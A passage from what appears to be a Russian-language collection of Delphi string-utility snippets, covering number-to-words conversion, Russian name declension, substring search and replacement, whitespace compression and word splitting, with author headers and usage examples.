lo := copy(value, p, length(value));
if length(lo) < 2 then
lo := lo + '0';
end;
end;
function sumtostring(value: string): string;
var
hi, lo, valut, loval: string;
pr, er: integer;
begin
get2str(value, hi, lo);
if (hi = '') or (lo = '') then
begin
result := '';
exit;
end;
val(hi, pr, er);
if er <> 0 then
begin
result := '';
exit;
end;
if rub = 0 then
begin
if hi[length(hi)] = '1' then
valut := 'рубль ';
if (hi[length(hi)] >= '2') and (hi[length(hi)] <= '4') then
valut := 'рубля ';
if (hi[length(hi)] = '0') or (hi[length(hi)] >= '5') or
((strtoint(copy(hi, length(hi) - 1, 2)) > 10) and (strtoint(copy(hi,
length(hi) - 1, 2)) < 15)) then
valut := 'рублей ';
if (lo[length(lo)] = '0') or (lo[length(lo)] >= '5') then
loval := ' копеек';
if lo[length(lo)] = '1' then
loval := ' копейка';
if (lo[length(lo)] >= '2') and (lo[length(lo)] <= '4') then
loval := ' копейки';
end
else
begin
if (hi[length(hi)] = '0') or (hi[length(hi)] >= '5') then
valut := 'долларов ';
if hi[length(hi)] = '1' then
valut := 'доллар ';
if (hi[length(hi)] >= '2') and (hi[length(hi)] <= '4') then
valut := 'доллара ';
if (lo[length(lo)] = '0') or (lo[length(lo)] >= '5') then
loval := ' центов';
if lo[length(lo)] = '1' then
loval := ' цент';
if (lo[length(lo)] >= '2') and (lo[length(lo)] <= '4') then
loval := ' цента';
end;
hi := sumtostrin(inttostr(pr)) + valut;
if lo <> '00' then
begin
val(lo, pr, er);
if er <> 0 then
begin
result := '';
exit;
end;
lo := inttostr(pr);
end;
if length(lo) < 2 then
lo := '0' + lo;
lo := lo + loval;
hi[1] := AnsiUpperCase(hi[1])[1];
result := hi + lo;
end;
function pfam(s: string): string;
begin
if (s[length(s)] = 'к') or (s[length(s)] = 'ч') and (pol = true) then
s := s + 'у';
if s[length(s)] = 'в' then
s := s + 'у';
if s[length(s)] = 'а' then
begin
delete(s, length(s), 1);
result := s + 'ой';
exit;
end;
if s[length(s)] = 'н' then
s := s + 'у';
if s[length(s)] = 'й' then
begin
delete(s, length(s) - 1, 2);
result := s + 'ому';
end;
if s[length(s)] = 'я' then
begin
delete(s, length(s) - 1, 2);
result := s + 'ой';
exit;
end;
result := s;
end;
function pnam(s: string): string;
begin
pol := true;
if s[length(s)] = 'й' then
begin
delete(s, length(s), 1);
s := s + 'ю';
end;
if s[length(s)] = 'л' then
s := s + 'у';
if s[length(s)] = 'р' then
s := s + 'у';
if s[length(s)] = 'м' then
s := s + 'у';
if s[length(s)] = 'н' then
s := s + 'у';
if s[length(s)] = 'я' then
begin
pol := false;
delete(s, length(s), 1);
s := s + 'е';
end;
if s[length(s)] = 'а' then
begin
pol := false;
delete(s, length(s), 1);
s := s + 'е';
end;
result := s;
end;
function potch(s: string): string;
begin
if s[length(s)] = 'а' then
begin
delete(s, length(s), 1);
s := s + 'е';
end;
if s[length(s)] = 'ч' then
s := s + 'у';
result := s;
end;
function ofam(s: string): string;
begin
if (s[length(s)] = 'к') or (s[length(s)] = 'ч') and (pol = true) then
s := s + 'а';
if s[length(s)] = 'а' then
begin
delete(s, length(s), 1);
result := s + 'ой';
exit;
end;
if s[length(s)] = 'в' then
s := s + 'а';
if s[length(s)] = 'н' then
s := s + 'а';
if s[length(s)] = 'й' then
begin
delete(s, length(s) - 1, 2);
result := s + 'ова';
end;
if s[length(s)] = 'я' then
begin
delete(s, length(s) - 1, 2);
result := s + 'ой';
exit;
end;
result := s;
end;
function onam(s: string): string;
begin
pol := true;
if s[length(s)] = 'а' then
if s[length(s) - 1] = 'г' then
begin
pol := false;
delete(s, length(s), 1);
s := s + 'и';
end
else
begin
pol := false;
delete(s, length(s), 1);
s := s + 'ы';
end;
if s[length(s)] = 'л' then
s := s + 'а';
if s[length(s)] = 'р' then
s := s + 'а';
if s[length(s)] = 'м' then
s := s + 'а';
if s[length(s)] = 'н' then
s := s + 'а';
if s[length(s)] = 'я' then
begin
pol := false;
delete(s, length(s), 1);
s := s + 'и';
end;
if s[length(s)] = 'й' then
begin
delete(s, length(s), 1);
s := s + 'я';
end;
result := s;
end;
function ootch(s: string): string;
begin
if s[length(s)] = 'а' then
begin
delete(s, length(s), 1);
s := s + 'ы';
end;
if s[length(s)] = 'ч' then
s := s + 'а';
result := s;
end;
function padeg(s: string): string;
var
q: tstringlist;
p: integer;
begin
if s <> '' then
begin
q := tstringlist.Create;
p := pos(' ', s);
if p = 0 then
p := pos('.', s);
if p = 0 then
q.Add(s)
else
begin
q.Add(copy(s, 1, p - 1));
delete(s, 1, p);
p := pos(' ', s);
if p = 0 then
p := pos('.', s);
if p = 0 then
q.Add(s)
else
begin
q.Add(copy(s, 1, p - 1));
delete(s, 1, p);
p := pos(' ', s);
if p = 0 then
p := pos('.', s);
if p = 0 then
q.Add(s)
else
begin
q.Add(copy(s, 1, p - 1));
delete(s, 1, p);
end;
end;
end;
if q.Count > 1 then
result := result + ' ' + pnam(q[1]);
if q.Count > 0 then
result := pfam(q[0]) + result;
if q.Count > 2 then
result := result + ' ' + potch(q[2]);
q.Free;
end;
end;
function fio(s: string): string;
var
q: tstringlist;
p: integer;
begin
if s <> '' then
begin
q := tstringlist.Create;
p := pos(' ', s);
if p = 0 then
p := pos('.', s);
if p = 0 then
q.Add(s)
else
begin
q.Add(copy(s, 1, p - 1));
delete(s, 1, p);
p := pos(' ', s);
if p = 0 then
p := pos('.', s);
if p = 0 then
q.Add(s)
else
begin
q.Add(copy(s, 1, 1));
delete(s, 1, p);
p := pos(' ', s);
if p = 0 then
p := pos('.', s);
if p = 0 then
q.Add(copy(s, 1, 1))
else
begin
q.Add(copy(s, 1, 1));
end;
end;
end;
if q.Count > 1 then
result := q[0] + ' ' + q[1] + '.';
if q.Count > 2 then
result := result + q[2] + '.';
q.Free;
end;
end;
function padegot(s: string): string;
var
q: tstringlist;
p: integer;
begin
if s <> '' then
begin
q := tstringlist.Create;
p := pos(' ', s);
if p = 0 then
p := pos('.', s);
if p = 0 then
q.Add(s)
else
begin
q.Add(copy(s, 1, p - 1));
delete(s, 1, p);
p := pos(' ', s);
if p = 0 then
p := pos('.', s);
if p = 0 then
q.Add(s)
else
begin
q.Add(copy(s, 1, p - 1));
delete(s, 1, p);
p := pos(' ', s);
if p = 0 then
p := pos('.', s);
if p = 0 then
q.Add(s)
else
begin
q.Add(copy(s, 1, p - 1));
delete(s, 1, p);
end;
end;
end;
if q.Count > 1 then
result := result + ' ' + onam(q[1]);
if q.Count > 0 then
result := ofam(q[0]) + result;
if q.Count > 2 then
result := result + ' ' + ootch(q[2]);
q.Free;
end;
end;
procedure getfullfio(s: string; var fnam, lnam, onam: string);
//Получить из строки фамилию имя и отчество сокращенно
begin
fnam := '';
lnam := '';
onam := '';
fnam := copy(s, 1, pos(' ', s));
delete(s, 1, pos(' ', s));
lnam := copy(s, 1, pos(' ', s));
delete(s, 1, pos(' ', s));
onam := s;
end;
begin
rub := 0;
end.
Пример использования:
s := SumToString('123.00');
Case для строковых значений без учета регистра.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Funktioniert unabhangig von der Klein-/Gro?scheibung in dem Input-String:
Versuchen Sie es z.B. mit "Mother" oder "mOTHER"...
Damit kann man seine eigene Makrosprache entwickeln oder bestimmte
Teile eines Strings aus einem SQL statement, aus einer wohlgeformten Datei
wie im XML-Format...interpretieren.
}
{
It works fine and it's not case sensitive:
Try to give "Mother" or "mOTHER" in the Input-String...
For exemple, you may use this to programm your own macro command system.
You can also parse a well formed text file (XML...)
Or to interpret a Database Field name as a selector, or whatelse you want.
}
uses
TypInfo;
type
TNumericChoiceParent = (ncp_Mother, ncp_Father, ncp_Child);
procedure TForm1.btChooseClick(Sender: TObject);
var
S: string;
begin
S := InputEdit.Text;
case TNumericChoiceParent(GetEnumValue(TypeInfo(TNumericChoiceParent), 'ncp_' + S)) of
ncp_Mother: ShowMessage('Hello Mom :o)');
ncp_Father: ShowMessage('Hi, Dad -]');
ncp_Child: ShowMessage('Shut up and eat your soup !-(');
else
ShowMessage('Who do you think that you are?');
end;
end;
Проверка значения строки.
Автор: Separator WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Проверка значения строки
Функция предназначена дла проверки значения строки.
Зависимости: нет
Автор: Separator, vilgelm@mail.kz, Алматы
Copyright: Сергей Вильгельм
Дата: 6 января 2003 г.
***************************************************** }
type
TTypeStr = (tsString, tsDate, tsNumber);
function CheckString(const Value: string): TTypeStr;
begin
if StrToDateTimeDef(Value, 0) = 0 then
if StrToIntDef(Value, 0) = 0 then
Result := tsString
else
Result := tsNumber
else
Result := tsDate
end;
Быстрые функции сжатия пробелов и управляющих символов в строке.
Автор: Александр Шарахов WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Быстрые функции сжатия пробелов и управляющих символов в строке.
Функции удаляют из строки начальные и конечные пробелы и управляющие
символы (меньшие пробела). Идущие подряд пробелы и управляющие символы
в середине строки заменяются одним пробелом.
Зависимости: нет
Автор: Александр Шарахов, alsha@mailru.com, Москва
Copyright: Александр Шарахов
Дата: 2 февраля 2003 г.
***************************************************** }
// Sha_SpaceCompress удаляет из Ansi-строки начальные и конечные пробелы
// и управляющие символы (меньшие пробела). Идущие подряд пробелы
// и управляющие символы в середине строки заменяются одним пробелом.
// Исходная строка при этом не изменяется. Эта функция работает
// медленнее, чем Sha_SpaceCompressInplace. С целью ускорения работы
// освобождение неиспользуемой памяти за пределами строки не производится.
// Если это критично, после вызова данной функции можно освободить память
// следующим образом: s2:=Sha_SpaceCompress(s1); SetLength(s2,Length(s2));
// Функция не работает, если нарушен формат Ansi-строки, в частности,
// если в конце строки отсутствует терминатор.
function Sha_SpaceCompress(const s: string): string;
var
p, q, t: pchar;
ch: char;
label
rt;
begin
;
p := pointer(s);
q := nil;
if p <> nil then
begin
;
t := p + (pinteger(p - 4))^;
if p < t then
begin
;
repeat;
dec(t);
if p > t then
goto rt;
until (t^ > ' ');
SetString(Result, nil, (t - p) + 1);
q := pchar(pointer(Result));
repeat;
repeat;
ch := p^;
inc(p);
until ch > ' ';
repeat;
q^ := ch;
ch := p^;
inc(q);
inc(p);
until ch <= ' ';
q^ := ' ';
inc(q);
until p > t;
end;
end;
rt:
if q <> nil then
begin
;
dec(q);
q^ := #0;
(pinteger(pchar(pointer(Result)) - 4))^ := q - pointer(Result);
end
else
Result := '';
end;
// Sha_SpaceCompressInplace удаляет из Ansi-строки начальные и конечные пробелы
// и управляющие символы (меньшие пробела). Идущие подряд пробелы
// и управляющие символы в середине строки заменяются одним пробелом.
// Результат замещает исходную строку. С целью ускорения работы
// освобождение неиспользуемой памяти за пределами строки не производится.
// Если это критично, после вызова данной функции можно освободить память
// следующим образом: Sha_SpaceCompressInpace(s); SetLength(s,Length(s));
// Процедура не работает, если нарушен формат Ansi-строки, в частности,
// если в конце строки отсутствует терминатор.
procedure Sha_SpaceCompressInplace(var s: string);
var
p, q, t: pchar;
ch: char;
label
rt;
begin
;
UniqueString(s);
p := pointer(s);
if p <> nil then
begin
;
t := p + (pinteger(p - 4))^;
if p < t then
begin
;
q := p;
repeat;
dec(t);
if p > t then
goto rt;
until (t^ > ' ');
repeat;
repeat;
ch := p^;
inc(p);
until ch > ' ';
repeat;
q^ := ch;
ch := p^;
inc(q);
inc(p);
until ch <= ' ';
q^ := ' ';
inc(q);
until p > t;
dec(q);
rt: q^ := #0;
(pinteger(pchar(pointer(s)) - 4))^ := q - pointer(s);
end;
end;
end;
// Sha_SpaceCompressPChar удаляет из null-terminated строки начальные
// и конечные пробелы и управляющие символы (меньшие пробела), за исключением
// терминатора. Идущие подряд пробелы и управляющие символы в середине строки
// заменяются одним пробелом. Результат замещает исходную строку.
// Никакое перераспределения памяти не производится.
// Функция не работает с read-only строкой.
function Sha_SpaceCompressPChar(p: pchar): pchar;
var
q: pchar;
ch: char;
label
rt;
begin
;
Result := p;
if (p <> nil) and (p^ <> #0) then
begin
;
q := p - 1;
repeat;
repeat;
ch := p^;
inc(p);
if ch = #0 then
goto rt;
until ch > ' ';
inc(q);
repeat;
q^ := ch;
ch := p^;
inc(q);
inc(p);
until ch <= ' ';
q^ := ' ';
until ch = #0;
rt: if q < Result then
inc(q);
q^ := #0;
end;
end;
Пример использования:
s2 := Sha_SpaceCompress(s1); Sha_SpaceCompressInpace(s); Sha_SpaceCompressPChar(pch);
Функция проверки корректности ввода.
Автор: DiVo WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Функция проверки корректности ввода
Результат истина в случае если во входной строке нет недопустимых
символов
Rej - флаг режима
если Rej:=true, то Conf - строка недопустимых символов
если Rej:=false, то Conf - строка допустимых символов
Input - входная строка
Зависимости: Стандартные модули
Автор: Ru, DiVo_Ru@rambler.ru, Одесса
Copyright: DiVo 2002, creator Ru
Дата: 28 декабря 2002 г.
***************************************************** }
function ConformStr(Input, Conf: string; Rej: boolean): boolean;
var
i: integer;
begin
result := true;
if Rej then
begin
for i := 1 to length(Conf) do
begin
if pos(Conf[i], Input) <> 0 then
begin
result := false;
break;
end
end;
end
else
begin
for i := 1 to length(Input) do
begin
if pos(Input[i], Conf) = 0 then
begin
result := false;
break;
end;
end;
end;
end;
Пример использования:
s := 'Приве6т!'; if not ConformStr(s, '0123456789') then s := Strtst(s, '0123456789'); //после этого s='Привет!'
Удаление лишних пробелов в строке.
Автор: Артем WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> удаление лишних пробелов в строке
удаляет из строки лишние пробелы без использования всяких указателей и т.д.
Зависимости: стандартные модули
Автор: Артем, boss1999@mail.ru, москва
Copyright: собственное описание (Артем)
Дата: 24 сентября 2003 г.
***************************************************** }
{процедура удаления лишних пробелов в строке (см. function Sha_SpaceCompress)}
var
c, i: integer;
stt, st, st1: string;
begin
c := 0;
st := edit1.Text;
for i := 1 to Length(st) do
begin
stt := copy(st, i, 1);
if (stt = ' ') and (c >= 1) then
begin
st1 := st1;
c := c + 1;
end
else if (stt = ' ') and (c = 0) then
begin
c := c + 1;
st1 := st1 + stt;
end
else if (stt <> ' ') then
begin
c := 0;
st1 := st1 + stt;
end
end;
edit2.text := st1;
end;
Подсчет количества вхождений символа в строке.
Автор: DiVo WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Подсчёт количества вхождений символа в строке
Функцийка считает количество повторений
символа заданного InputSubStr в строке InputStr.
Зависимости: Стандартные модули
Автор: Ru, DiVo_Ru@rambler.ru, Одесса (Украина)
Copyright: DiVo 2003 creator Ru
Дата: 18 ноября 2003 г.
***************************************************** }
function CntChRepet(InputStr: string; InputSubStr: char): integer;
var
i: integer;
begin
result := 0;
for i := 1 to length(InputStr) do
if InputStr[i] = InputSubStr then
inc(result);
end;
Алгоритм поиска подстроки в строке.
Автор: ALex2 WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> алгоритм поиска подстроки в строке
Зависимости: SysUtils
Автор: ALex2)
Copyright: 2)
Дата: 1 февраля 2003 г.
***************************************************** }
function BMSearch(StartPos: Integer; const S, P: string): Integer;
type
TBMTable = array[0..255] of Integer;
var
Pos, lp, i: Integer;
BMT: TBMTable;
begin
for i := 0 to 255 do
BMT[i] := Length(P);
for i := Length(P) downto 1 do
if BMT[Byte(P[i])] = Length(P) then
BMT[Byte(P[i])] := Length(P) - i;
lp := Length(P);
Pos := StartPos + lp - 1;
while Pos <= Length(S) do
if P[lp] <> S[Pos] then
Pos := Pos + BMT[Byte(S[Pos])]
else if lp = 1 then
begin
Result := Pos;
Exit;
end
else
for i := lp - 1 downto 1 do
if P[i] <> S[Pos - lp + i] then
begin
Inc(Pos);
Break;
end
else if i = 1 then
begin
Result := Pos - lp + 1;
Exit;
end;
Result := 0;
end;
{
алгоритм Бойера-Мура
ф-ия возвращает первое вхождение подстроки в строку
работает быстро
}
Пример использования:
BMSearch(1, 'dsade', 'de') // в данном примере ф-ия возвратит число 4 // 1 - это позиция с которой ищем подстроку в строке
Поиск N-ого вхождения подстроки в строку.
Автор: Panov WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Поиск N-ого вхождения подстроки в строку
Зависимости: SysUtils
Автор: panov, panov@hotbox.ru, Екатеринбург
Copyright: panov
Дата: 19 апреля 2002 г.
***************************************************** }
function SearchString(const FindStr, SourceString: string; Num: Integer):
Integer;
var
FirstSym: PChar; //Ссылка на первый символ
function MyPos(const FindStr, SourceString: PChar; Num: Integer): PChar;
begin
Result := AnsiStrPos(SourceString, FindStr);
//Поиск вхождения подстроки в строку
if (Result = nil) then
Exit; //Подстрока не найдена
Inc(Result); //Смещаем указатель на следующий символ
if Num = 1 then
Exit; //Если нужно первое вхождение - заканчиваем
if num > 1 then
Result := MyPos(FindStr, Result, num - 1);
//Рекурсивный поиск следующего вхождения
end;
begin
FirstSym := PChar(SourceString);
//Присваиваем адрес первого символа исходной строки
Result := MyPos(PChar(FindStr), PChar(SourceString), Num) - FirstSym;
//Номер позиции в строке
if Result < 0 then
Result := 0; //Возвращаем номер позиции
end;
Пример использования:
var StrF, StrSrc: string; n: Integer; begin ... StrF := 'стр'; StrSrc := 'Поиск подстроки в строке'; n := SearchString(StrF, StrSrc, 2); //n будет равна 19 end;
Нахождение последнего вхождения подстроки в строку.
Автор: Fenik WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Нахождение последнего вхождения подстроки в строку
Функция возвращает начало последнего вхождения
подстроки FindS в строку SrcS, т.е. первое с конца.
Если возвращает ноль, то подстрока не найдена.
Можно использовать в текстовых редакторах
при поиске текста вверх от курсора ввода.
Зависимости: System
Автор: Fenik, chook_nu@uraltc.ru, Новоуральск
Copyright: Автор: Федоровских Николай
Дата: 16 июня 2002 г.
***************************************************** }
function PosR2L(const FindS, SrcS: string): Integer;
{Функция возвращает начало последнего вхождения
подстроки FindS в строку SrcS, т.е. первое с конца.
Если возвращает ноль, то подстрока не найдена.
Можно использовать в текстовых редакторах
при поиске текста вверх от курсора ввода.}
function InvertS(const S: string): string;
{Инверсия строки S}
var
i, Len: Integer;
begin
Len := Length(S);
SetLength(Result, Len);
for i := 1 to Len do
Result[i] := S[Len - i + 1];
end;
var
ps: Integer;
begin
{Например: нужно найти последнее вхождение
строки 'ро' в строке 'пирожок в коробке'.
Инвертируем обе строки и получаем
'ор' и 'екборок в кожорип',
а затем ищем первое вхождение с помощью стандартной
функции Pos(Substr, S: string): string;
Если подстрока Substr есть в строке S, то
эта функция возвращает позицию первого вхождения,
а иначе возвращает ноль.}
ps := Pos(InvertS(FindS), InvertS(SrcS));
{Если подстрока найдена определяем её истинное положение
в строке, иначе возвращаем ноль}
if ps <> 0 then
Result := Length(SrcS) - Length(FindS) - ps + 2
else
Result := 0;
end;
Пример использования:
p := PosR2L('са', 'Мой сапог догнал самолёт.'); // p:=18;
Получение N-го слова из строки.
Автор: Gua WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение N-го слова из строки
Зависимости: System
Автор: Gua, fbsdd@ukr.net, ICQ:141585495, Simferopol
Copyright: Gua
Дата: 02 мая 2002 г.
***************************************************** }
{
Str: Строка
Smb: Разгранечительный символ
WordNmbr: Номер нужного сова
}
function GetWord(Str, Smb: string; WordNmbr: Byte): string;
var
SWord: string;
StrLen, N: Byte;
begin
StrLen := SizeOf(Str);
N := 1;
while ((WordNmbr >= N) and (StrLen <> 0)) do
begin
StrLen := Pos(Smb, str);
if StrLen <> 0 then
begin
SWord := Copy(Str, 1, StrLen - 1);
Delete(Str, 1, StrLen);
Inc(N);
end
else
SWord := Str;
end;
if WordNmbr <= N then
Result := SWord
else
Result := '';
end;
Пример использования:
GetWord('Здесь ваш текст',' ',3); // Возвращает -> 'текст'
Повтор строки заданное количество раз.
Автор: DiVo WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Повтор строки заданное количество раз
Input - строка для повторения
Rep - количество повторений
Строка на выходе это входная строка повторенная Rep раз.
Зависимости: Стандартные модули
Автор: Ru, DiVo_Ru@rambler.ru, Одесса
Copyright: DiVo 2002 creator Ru (по мотивам функции Str из Word Basic)
Дата: 18 ноября 2002 г.
***************************************************** }
function MulStr(Input: string; Rep: integer): string;
var
i: integer;
begin
for i := 0 to Rep - 1 do
result := result + Input;
end;
Пример использования:
s1 := 'Привет'; s := MulStr(s1, 3); // результат: s := 'ПриветПриветПривет';
Замена в строке всех вхождений одной подстроки, на другую.
Автор: RhinoFC WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Замена в строке всех вхождений одной подстроки, на другую
Зависимости: -
Автор: Евгений Валяев (RhinoFC), rhinofc@sniiggims.ru, ICQ:55263922, Новосибирск
Copyright: RhinoFC
Дата: 5 июня 2002 г.
***************************************************** }
function StrReplace(const Str, Str1, Str2: string): string;
// str - исходная строка
// str1 - подстрока, подлежащая замене
// str2 - заменяющая строка
var
P, L: Integer;
begin
Result := str;
L := Length(Str1);
repeat
P := Pos(Str1, Result); // ищем подстроку
if P > 0 then
begin
Delete(Result, P, L); // удаляем ее
Insert(Str2, Result, P); // вставляем новую
end;
until P = 0;
end;
Функция замены в строке всех вхождений одной подстроки на другую.
Автор: Матюшкин Сергей WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Функция замены в строке всех вхождений одной подстроки на другую
В отличие от других подобных функций, эта - не зависнет, если в строке нужно
заменить не только одно слово совершенно другим,
но и допустим, слово "Штаны" на "-Штаны-"
(Т.е. начальное слово после замены остается, но к нему добавляется какой нибудь
символ справа, или слева. В данном случае по краям слова добавлен знак минуса).
Я пересмотрел много примеров, и ни один из них не справился с этой задачей.
(Может я плохо искал?).
Зависимости: Windows, SysUtils
Автор: Матюшкин Сергей, seregam@ua.fm, ICQ:162733776, Днепропетровск
Copyright: Sergey_M
Дата: 26 мая 2003 г.
***************************************************** }
function Replace(Str, X, Y: string): string;
{Str - строка, в которой будет производиться замена.
X - подстрока, которая должна быть заменена.
Y - подстрока, на которую будет произведена заменена}
var
buf1, buf2, buffer: string;
i: Integer;
begin
buf1 := '';
buf2 := Str;
Buffer := Str;
while Pos(X, buf2) > 0 do
begin
buf2 := Copy(buf2, Pos(X, buf2), (Length(buf2) - Pos(X, buf2)) + 1);
buf1 := Copy(Buffer, 1, Length(Buffer) - Length(buf2)) + Y;
Delete(buf2, Pos(X, buf2), Length(X));
Buffer := buf1 + buf2;
end;
Replace := Buffer;
end;
Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
var
a: Integer;
begin
for a := 0 to Memo1.Lines.Count do
Memo1.Lines[a] := Replace(Memo1.Lines[a], 'Штаны', '-Штаны-');
end;
Замена подстроки в строке.
function ReplaceStr(const S, Srch, Replace: string): string;
{замена подстроки в строке}
var
I: Integer;
Source: string;
begin
Source := S;
Result := '';
repeat
I := Pos(Srch, Source);
if I >
0 then
begin
Result := Result + Copy(Source, 1, I - 1) + Replace;
Source := Copy(Source, I + Length(Srch), MaxInt);
end
else
Result := Result + Source;
until I<
= 0;
end;
Сканирование строки начиная с указанной позиции с целью нахождения слова.
Автор: Алексей Вуколов WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Сканирование строки начиная с указанной позиции с целью нахождения слова.
Функция предназначена для разбиения строки на слова. Границы слов
определяются по разделителям.
Описание параметров:
S - строка, в которой производится поиск;
StartPos - на входе принимает позицию с которой начинается сканирование
строки, на выходе содержит позицию символа, с которого начинается слово;
WordLen - на выходе содержит длину найденного слова;
Delimiters - множество, содержащее символы-разделители слов;
Возвращаемое значение - true если слово найдено, инече false;
Зависимости: SysUtils
Автор: vuk, vuk@fcenter.ru
Copyright: Алексей Вуколов
Дата: 18 апреля 2002 г.
***************************************************** }
function WordScan(const S: string; var StartPos, WordLen: integer;
Delimiters: TSysCharSet): boolean;
var
i, l: integer;
begin
Result := false;
WordLen := 0;
i := StartPos;
l := length(s);
StartPos := 0;
while i <= l do
if s[i] in Delimiters then
inc(i)
else
begin
StartPos := i;
break;
end;
while i <= l do
if not (s[i] in Delimiters) then
begin
inc(i);
inc(WordLen);
end
else
break;
Result := WordLen <> 0;
end;
Пример использования:
//Консольная программа, выводящая на экран слова из заданной строки.
program Project1;
{$APPTYPE CONSOLE}
uses SysUtils;
var
s: string;
wStart, wLen: integer;
begin
s := 'This is a test string. String contains delimiters.';
wStart := 1;
wLen := 0;
while WordScan(s, wStart, wLen, [' ', '.', ',']) do
begin
writeln(copy(s, wStart, wLen));
inc(wStart, wLen);
end;
readln;
end.
Поиск подстроки в строке с заданной позиции.
Автор: Romkin WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Поиск подстроки в строке с заданной позиции
S - строка, в которой искать
SubStr - образец
fromPos - с какой позиции
Все на асемблере, принцип простой - ищется первый символ, затем часть строки
сравнивается с образцом начиная с этого символа
Если образец не найден, возвращает 0
Если найден - номер первого символа вхождения
Зависимости: Нету их!
Автор: Romkin, romkin@pochtamt.ru, Москва
Copyright: Модернизированная функция из SysUtils
Дата: 18 июля 2002 г.
***************************************************** }
function TailPos(const S, SubStr: AnsiString; fromPos: integer): integer;
asm
PUSH EDI
PUSH ESI
PUSH EBX
PUSH EAX
OR EAX,EAX
JE @@2
OR EDX,EDX
JE @@2
DEC ECX
JS @@2
MOV EBX,[EAX-4]
SUB EBX,ECX
JLE @@2
SUB EBX,[EDX-4]
JL @@2
INC EBX
ADD EAX,ECX
MOV ECX,EBX
MOV EBX,[EDX-4]
DEC EBX
MOV EDI,EAX
@@1: MOV ESI,EDX
LODSB
REPNE SCASB
JNE @@2
MOV EAX,ECX
PUSH EDI
MOV ECX,EBX
REPE CMPSB
POP EDI
MOV ECX,EAX
JNE @@1
LEA EAX,[EDI-1]
POP EDX
SUB EAX,EDX
INC EAX
JMP @@3
@@2: POP EAX
XOR EAX,EAX
@@3: POP EBX
POP ESI
POP EDI
end;
Поиск подстроки в строке с заданной позиции (стандартный вариант).
Автор: Romkin WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Поиск подстроки в строке с заданной позиции (стандартный вариант)
Вроде работает
Substr - подстрока, S - строка, fromPos - с какой позиции искать
Если вхождение не найдено, возвращает 0
Ограничения - как для ansiStrPos
Зависимости: SysUtils
Автор: Romkin, romkin@pochtamt.ru, Москва
Copyright: Romkin
Дата: 18 июля 2002 г.
***************************************************** }
function fAnsiPos(const Substr, S: string; FromPos: integer): Integer;
var
P: PChar;
begin
Result := 0;
P := AnsiStrPos(PChar(S) + fromPos - 1, PChar(SubStr));
if P <> nil then
Result := Integer(P) - Integer(PChar(S)) + 1;
end;
Преобразование строки с разделителями в StringList.
Автор: Игорь Шевченко WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Преобразование строки с разделителями в StringList.
Преобразование строки с разделителями в StringList или наследник TStrings.
Навеяно одноименной процедурой из InfoPower :-)
Зависимости: Classes
Автор: Игорь Шевченко, whitefranz@hotmail.com, Москва
Copyright: Игорь Шевченко, Woll2Woll software (original)
Дата: 30 апреля 2002 г.
***************************************************** }
procedure StrBreakApart(const S, Delimeter: string; Parts: TStrings);
var
CurPos: integer;
CurStr: string;
begin
Parts.clear;
Parts.BeginUpdate();
try
CurStr := S;
repeat
CurPos := Pos(Delimeter, CurStr);
if (CurPos > 0) then
begin
Parts.Add(Copy(CurStr, 1, Pred(CurPos)));
CurStr := Copy(CurStr, CurPos + Length(Delimeter),
Length(CurStr) - CurPos - Length(Delimeter) + 1);
end
else
Parts.Add(CurStr);
until CurPos = 0;
finally
Parts.EndUpdate();
end;
end;
Пример использования:
var
Tmp: StringList;
begin
Tmp := TStringList.Create();
StrBreakApart('Text1<BR>Text2<BR>Text3<BR>Text4', '<BR>', Tmp);
// После вызова Tmp содержит
// Text1
// Text2
// Text3
// Text4
...
Tmp.Free();
end;
Разбиение текста на слова и получение количества слов в тексте.
Автор: 777 WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Разбиение текста на слова + получение количества слов в тексте
T : Собственно строка, которая будет разбиваться на слова
Mode: Режим, может быть
0: получение английских и русских слов
1: только русских
2: только английских
List: Здесь хранятся найденые слова (по умолчанию = nil)
возвращаемое значение: количество слов.
P/S
По идейным соображениям специальные символы, цифры
и пробелы игнорируются.
Зависимости: Windows, Classes
Автор: 777, nix@rbcmail.ru, Архангельск
Copyright: 777
Дата: 15 июня 2002 г.
***************************************************** }
function StringToWords(T: string; Mode: Short; List: Tstrings = nil): integer;
var
i, z: integer;
s: string;
c: Char;
procedure Check;
begin
if (s > '') and (List <> nil) then
begin
List.Add(S);
z := z + 1;
end;
s := '';
end;
begin
i := 0;
z := 0;
s := '';
if t > '' then
begin
while i <= Length(t) + 1 do
begin
c := t[i];
case Mode of
0: {русские и английские слова}
if (c in ['a'..'z']) or (c in ['A'..'Z']) or (c in ['а'..'я']) or
(c in ['А'..'Я']) and (c <> ' ') then
s := s + c
else
Check;
1: {только русские слова}
if (c in ['а'..'я']) or (c in ['А'..'Я']) and (c <> ' ') then
s := s + c
else
Check;
2: {только английские слова}
if (c in ['a'..'z']) or (c in ['A'..'Z']) and (c <> ' ') then
s := s + c
else
check;
end;
i := i + 1;
end;
end;
result := z;
end;
Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
var
Source, Dest: Tstrings;
i: integer;
begin
